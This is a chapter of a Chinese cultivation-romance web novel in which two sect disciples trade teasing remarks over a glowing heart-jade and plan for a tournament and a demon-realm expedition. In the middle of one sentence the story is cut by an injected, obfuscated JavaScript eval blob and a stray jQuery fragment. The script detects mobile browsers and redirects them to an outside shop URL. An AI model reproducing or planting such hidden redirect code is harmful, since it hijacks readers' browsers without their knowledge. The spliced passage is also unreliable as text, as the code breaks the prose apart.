各修仙世家也要参与弟子大比,因此邀月仙尊特意将大比时间定在了半月后,待世家子弟到来再开始。
周仰熙和李宥宜并肩走着,从一开始李宥宜就没再说过话,她转过头询问,“师妹,你怎么不说话?”
李宥宜眨眨眼回过神来,“啊?没有,我是在想要去妖域的话,我要和师姐一起去。”
周仰熙眉开眼笑,揉着她的头发,“你不是已经是弦月上级了吗?这半月努力些,大比之上定能超常发挥,到时我们同去,就不用彼此担心了。”
李宥宜放松了些,认真点头答应,“嗯,我一定要和师姐一起去。”
两人旁若无人似的边走边聊,周仰熙目光微转,扫过前方同样正在议论的同门,忽然定了一瞬。
宋寻熙站在大堂外的台阶之下,斜倚着栏杆望向远处的峰峦,他似有所感,侧头看过来。
周仰熙猝不及防与他对上视线,方才知晓心玉的事情,她下意识去看宋寻熙腰间的玉坠。
不知为何,她总觉得这心玉今日格外不同,亮得出奇,宋寻熙的衣袍都盖不住。以往它也会闪烁灵光,但极微弱,若不是她刻意观察,并不会注意到。
不等她有动作,宋寻熙先一步动了,他从台阶下慢悠悠朝着周仰熙走上来,心玉亮光随着他的步伐越发明显。
意识到宋寻熙应是有话要说,周仰熙偏头看向李宥宜。换做平日,她此刻定会激动得抓住她的衣袖,毫不掩饰地八卦起来,现在倒是十分安静。
周仰熙唤她:“宥宜,你先回去,我和宋师兄有事要说。”
李宥宜纠结了会,权衡几息还是点头,“好吧,师姐,我这就要回去努力修炼。”她瞟了一眼走上前的宋寻熙,忍住想问的冲动,“师姐,你也早些回来。”
周仰熙一口答应,人离开时宋寻熙正巧停在她下方一级台阶下,微微仰头看着她。
“宋师兄。”
“周师妹。”
打完招呼,四周一时安静下来,周仰熙盯着他的眼睛,等他继续说。
宋寻熙垂下眼睫避开她的视线,不自觉地摩挲着心玉,半晌才开口道:“冒昧打扰,不知师妹可否空闲?”
周仰熙看着他没说话,视线落到玉坠上,丹田里还留着眼前人的心玉灵力,许是昨日知晓一切的缘故,现下靠近这人,她似乎能感知到些什么。
她挑眉试探道:“我没有空闲。”
宋寻熙:“……”
下一刻,他的心玉登时亮得更显眼了,连带着那道灵力都在周仰熙体内开始窜动。
宋寻熙只觉衣衫要被这破心玉烫出个洞来了,他深吸一口气,扯出一个微笑,“…好的,我知晓了,那便……”
话没说完,周仰熙先忍不住笑出声来,她掩着唇轻咳两声,“我突然想起来,今日的剑修课已经上过了,晚课也还早,所以我此刻是空闲的。”
“宋师兄,你要说什么?”
准备说些什么便离开的宋寻熙神色微愣,缓缓抬眼,正对上周仰熙的笑脸,看清她眼里的狡黠,明白自己被耍了。
一种难以言喻的羞耻感涌上心头,宋寻熙满心只剩两个字:丢脸。
都怪这该死的心玉,昨夜不知它抽什么疯,正在调息的宋寻熙被它扰得浑身刺挠,索性拿出周仰熙给的纸人研究。
本以为心玉会就此消停,没想到它不吃这一招,反而更加躁动,宋寻熙气愤不已,伸手将它扯下来放到桌上。
他总觉得自己眼花了,竟能看到心玉朝着霁月峰方向动了动,那迫不及待的样子看得他一阵火大。
“你能不能别再打扰我修行了?你是我的心玉,不是狗。”
“这么多日允你挨着周师妹,还不满足吗?”
心玉完全不理他,长腿似的一点点挪动着。
宋寻熙:?
他按住蠢蠢欲动的心玉,咬着后槽牙,面目狰狞道:“明明只受主人自身驱使,为何你总是催着我去见她?能不能有点出息?”
心玉被按着也依旧发光发热,那道热意沿着手掌心直冲宋寻熙的心口。
他紧闭着眼,做了什么决定,再睁眼时面上一副视死如归的模样,“我明日带你去见周师妹,别闹了行不行?”
现在周仰熙站在他面前,周围还有几个落后的弟子慢吞吞走着。太丢脸了。
宋寻熙压下想爆发的冲动,侧身让开路,“边走边说吧。”
周仰熙点点头,走在他前方下了台阶,时不时侧头看一眼他的心玉。
想起以往她只是会感受到灵力乱窜,但今日似乎能感应到其他的,说不准是什么,周仰熙心道有趣,正愁找不到什么好法子报复此人先前的无礼。
她将宋寻熙方才的神情动作收入眼底,虽说不用担心心玉灵力对她有什么坏处,但有一个好处足矣,调侃能折磨到宋寻熙。
周仰熙慢下步子,与宋寻熙齐行,她今日出门时换的是一身库金色的衣裙,腰侧衣带随风扬起,一下下拂过宋寻熙的银白衣袍。
见他不说话,周仰熙靠近些许,侧过脸问他,“宋师兄不是要边走边说吗?怎么又不说了?”
宋寻熙深呼吸,盯着脚下的路,“周师妹会符术?”
周仰熙脚下一顿,没料到他会问这个,原以为要问什么心玉之类的,她也不避讳,大方承认,“会啊,只不过并不精通。”
宋寻熙默然一瞬,他也曾学过符术,不过只学了些简单的,雷火符是高阶符箓,杀伤力强,要学会这个并不容易。
在岚山村时,周仰熙不仅用了,还能连续使用,步步紧逼珞魂蛛,定然是相当熟练。
她用剑招的身影浮现在眼前,宋寻熙暗暗感慨,周师妹剑术超群,于符术上也同样得心应手,不愧为榜首。
仰月峰从不参与什么讨论,例会也极少在意,自上一次之后,他总能听到有关周仰熙的各种传言,其中最多的便是她的修为以及常年霸榜。
宋寻熙抚摸着心玉,余光瞥向她手中把玩着的玉坠,“你很厉害。”
“嗯?”周仰熙停下脚步,转头定定看着他的眼睛。
“藏书楼九层,五层以上的禁制你都能破;学符也不会搁置剑术;心思活络,为人…”他顿了顿,继续道,“为人热忱,周师妹很厉害。”
周仰熙听着他的话,心底腹诽,太阳打西边出来了,这人今日说话居然很中听。
她被夸得心花怒放,昂首挺胸道:“那是自然,宋师兄说的完全正确,多谢宋师兄。”
宋寻熙望着她,心玉此刻与他倒是同频,不作不闹,想来很享受这样的状态,他心中鄙夷,见色忘义。
为了方便,例会大堂本就建在离仰月峰近的地方,两人一路走着,不知不觉到了弟子居所。
周仰熙仰头瞧了一眼,门边的木牌上明晃晃写着“宋寻熙”三个字。
她在门前站定,等着宋寻熙推门。
一进院子,入目的便是梨树,长寂山灵力充沛,花草树木皆有灵,感应到有人进来,梨树自顾自开出花,扑簌簌落到地上。
周仰熙头上顶着几片花瓣,转过身看着宋寻熙,有些不确定,“宋师兄的院子,倒是比我想的好看些。”
但还是一样的白棠梨。
宋寻熙没应声,三两步跨上石阶,站在房门口一动不动。
周仰熙从他身后走上来,见他迟迟不开门,便催促道:“宋师兄,你怎么不开门?不是要谈事情吗?”
她扫了一眼满是花瓣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720982|208648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的院子,声音小了一些,“或者在院子里谈也不是不行,就是这梨花雪白,扰人思绪。”
宋寻熙此时正在想其他的,虽说长寂山甚少讲究什么男女授受不亲,但他也从未与别的师姐师妹有过多少交集,更遑论将人带进居所。
心玉不管不顾,骤然升温,他猛地回神,若无其事地推开房门,“周师妹请。”
周仰熙环顾四周,心想着回去也可以在院子里种些会开花的树,这样练剑时更符合心境,还很美观。
屋内应当燃着熏香,白色丝绸垂挂着,无风自动,周仰熙一进门便嗅到了丝丝缕缕的香气,像是院外的那株梨树所制。
宋寻熙引着人坐到窗前,正对着那颗开花的梨树,他随手倒了两杯茶,搁在她手边。
周仰熙也不乱看,饮了口茶便直接开口,“宋师兄想谈什么?”
“弟子大比,以及之后的入妖域探查。”
她颔首示意他继续。
“此次大比与往年不同,各个世家都会前来,届时若进入妖域,会兵分几路也未可知。”宋寻熙垂眸看着茶杯,水中倒映着梨树,还有面前的女子,“不知周师妹有何打算?”
周仰熙闻言抬眼看他,长寂山弟子大比乃是三峰盛事,历年来,年满十二的同修者皆会参加比试,分组抽签进行。
同是剑修,无论如何都会碰上,但她却从未与他对上过。
她捻着窗外飘进来的一片花瓣,若有所思道:“若说打算,我并未想好,不过妖域内各方势力纵横,珞魂蛛一族要查,是否有魔族潜伏也要查,还要前往九幽殿见妖王。”
“至少会分三路进行。”周仰熙随意笑笑,“具体情况还需进去之后再看。”
宋寻熙没有立刻接话,脑中没来由地想起卫晏那个话多缠人的家伙,那人瞧着修为便不怎么高,绝对不会被选上。
周仰熙想了想,问他:“宋师兄是想和我一路吗?”便于查探心玉一事。
被戳穿心事,宋寻熙呼吸一滞,随即面无表情地饮茶,“没有,只不过是觉得,师出同门的话配合会更好。”
周仰熙无声笑了,煞有其事地点头附和,“宋师兄说的不无道理,可以在大比之后呈给邀月仙尊听,说不定仙尊就同意了呢。”
大庭广众之下说出来,恐怕会得罪各世家,背上一个长寂山自负傲慢的罪名,宋寻熙单是想起先前在大堂台阶上,那些刻意慢下来偷觑的弟子就一阵头大。
虽未听到过什么奇怪的言论,但他就是觉得长寂山大多弟子定会私下联想,比如岑晚和李栩。
宋寻熙凉飕飕的眼神落在周仰熙身上,她却不躲不闪,仿佛真的是在为他出谋划策。
他移开视线,“不必,仙尊如何安排都好,我不在意这些小事。”
“哦哦。”
周仰熙赞成他的观点,“我也不在意。”
她说完便单手支着头,略带挑衅地盯着他,宋寻熙的心玉烫得越发厉害。
见他沉默着,周仰熙又佯装无心地问了一句:“宋师兄,你闻到什么味了吗?”她皱着鼻子,微微靠近他,“好像是衣服被烤焦的气味。”
宋寻熙气不打一处来,可恨的心玉,可恶的周师妹,为何所有痛苦都要他一人承担?
周仰熙心情甚好,宋寻熙吃瘪,那些日子的苦闷终于消散,她饶有兴致地喝完茶,转头望着飘舞的梨花。
半盏茶的功夫,宋寻熙开口了,“我要问师妹的就是这个,现在聊完了,我送周师妹出去。”
周仰熙嗯了一声,站起身来往外走,越过院门时,她忽然回头,朝宋寻熙灿然一笑。
“宋师兄,忘了告诉你,我方才发现,你的右脸颊有一颗小痣,和我的正好相对诶。”